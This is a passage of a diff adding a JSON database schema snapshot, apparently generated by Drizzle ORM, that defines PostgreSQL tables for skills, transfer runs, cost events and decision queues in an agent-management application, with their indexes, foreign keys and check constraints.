+        "company_skills_company_id_companies_id_fk": {
+          "name": "company_skills_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_skills_folder_id_folders_id_fk": {
+          "name": "company_skills_folder_id_folders_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_skill_id_company_skills_id_fk": {
+          "name": "company_skills_forked_from_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "forked_from_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_company_id_companies_id_fk": {
+          "name": "company_skills_forked_from_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "forked_from_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_current_version_id_company_skill_versions_id_fk": {
+          "name": "company_skills_current_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "current_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_transfer_runs": {
+      "name": "company_transfer_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "actor_key": {
+          "name": "actor_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "container_ref": {
+          "name": "container_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "manifest_sha256": {
+          "name": "manifest_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "manifest": {
+          "name": "manifest",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chunk_count": {
+          "name": "chunk_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "blob_count": {
+          "name": "blob_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "completed_parts": {
+          "name": "completed_parts",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_transfer_runs_company_idx": {
+          "name": "company_transfer_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_idempotency_direction_idx": {
+          "name": "company_transfer_runs_idempotency_direction_idx",
+          "columns": [
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_actor_status_idx": {
+          "name": "company_transfer_runs_actor_status_idx",
+          "columns": [
+            {
+              "expression": "actor_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_transfer_runs_company_id_companies_id_fk": {
+          "name": "company_transfer_runs_company_id_companies_id_fk",
+          "tableFrom": "company_transfer_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_user_sidebar_preferences": {
+      "name": "company_user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_order": {
+          "name": "project_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_user_sidebar_preferences_company_idx": {
+          "name": "company_user_sidebar_preferences_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_user_idx": {
+          "name": "company_user_sidebar_preferences_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_company_user_uq": {
+          "name": "company_user_sidebar_preferences_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_user_sidebar_preferences_company_id_companies_id_fk": {
+          "name": "company_user_sidebar_preferences_company_id_companies_id_fk",
+          "tableFrom": "company_user_sidebar_preferences",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cost_events": {
+      "name": "cost_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "billing_type": {
+          "name": "billing_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "cost_status": {
+          "name": "cost_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'reported'"
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cached_input_tokens": {
+          "name": "cached_input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cost_events_company_occurred_idx": {
+          "name": "cost_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_agent_occurred_idx": {
+          "name": "cost_events_company_agent_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_provider_occurred_idx": {
+          "name": "cost_events_company_provider_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_biller_occurred_idx": {
+          "name": "cost_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_heartbeat_run_idx": {
+          "name": "cost_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cost_events_company_id_companies_id_fk": {
+          "name": "cost_events_company_id_companies_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_agent_id_agents_id_fk": {
+          "name": "cost_events_agent_id_agents_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_issue_id_issues_id_fk": {
+          "name": "cost_events_issue_id_issues_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cost_events_project_id_projects_id_fk": {
+          "name": "cost_events_project_id_projects_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_goal_id_goals_id_fk": {
+          "name": "cost_events_goal_id_goals_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "cost_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_archive_notification_outbox": {
+      "name": "decision_archive_notification_outbox",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "delivered_at": {
+          "name": "delivered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_archive_notification_outbox_uq": {
+          "name": "decision_archive_notification_outbox_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archive_version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_archive_notification_outbox_pending_idx": {
+          "name": "decision_archive_notification_outbox_pending_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_archive_notification_outbox_company_id_companies_id_fk": {
+          "name": "decision_archive_notification_outbox_company_id_companies_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_archive_notification_outbox_origin_agent_id_agents_id_fk": {
+          "name": "decision_archive_notification_outbox_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_archive_notification_outbox_status_check": {
+          "name": "decision_archive_notification_outbox_status_check",
+          "value": "\"decision_archive_notification_outbox\".\"status\" IN ('pending', 'delivering', 'delivered')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queue_items": {
+      "name": "decision_queue_items",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_type": {
+          "name": "added_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_agent_id": {
+          "name": "added_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_user_id": {
+          "name": "added_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_run_id": {
+          "name": "added_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_agent_api_key_id": {
+          "name": "added_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queue_items_queue_source_uq": {
+          "name": "decision_queue_items_queue_source_uq",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queue_items_company_source_idx": {
+          "name": "decision_queue_items_company_source_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queue_items_company_id_companies_id_fk": {
+          "name": "decision_queue_items_company_id_companies_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_id_agents_id_fk": {
+          "name": "decision_queue_items_added_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "added_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "added_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "added_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_queue_company_fk": {
+          "name": "decision_queue_items_queue_company_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id",
+            "company_id"
+          ],
+          "columnsTo": [
+            "id",
+            "company_id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_queue_items_actor_check": {
+          "name": "decision_queue_items_actor_check",
+          "value": "(\n        (\"decision_queue_items\".\"added_by_type\" = 'agent' AND \"decision_queue_items\".\"added_by_agent_id\" IS NOT NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'user' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NOT NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'system' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queues": {
+      "name": "decision_queues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_type": {
+          "name": "created_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_api_key_id": {
+          "name": "created_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_days": {
+          "name": "retention_days",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "seed_rules": {
+          "name": "seed_rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "seed_rules_enabled": {
+          "name": "seed_rules_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queues_company_key_uq": {
+          "name": "decision_queues_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queues_company_updated_idx": {
+          "name": "decision_queues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queues_company_id_companies_id_fk": {
+          "name": "decision_queues_company_id_companies_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_id_agents_id_fk": {
+          "name": "decision_queues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queues_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "created_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "decision_queues_id_company_uq": {
+          "name": "decision_queues_id_company_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "id",
+            "company_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "decision_queues_creator_check": {
+          "name": "decision_queues_creator_check",
+          "value": "(\n        (\"decision_queues\".\"created_by_type\" = 'agent' AND \"decision_queues\".\"created_by_agent_id\" IS NOT NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'user' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NOT NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'system' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n      )"
+        },
+        "decision_queues_retention_days_check": {
+          "name": "decision_queues_retention_days_check",
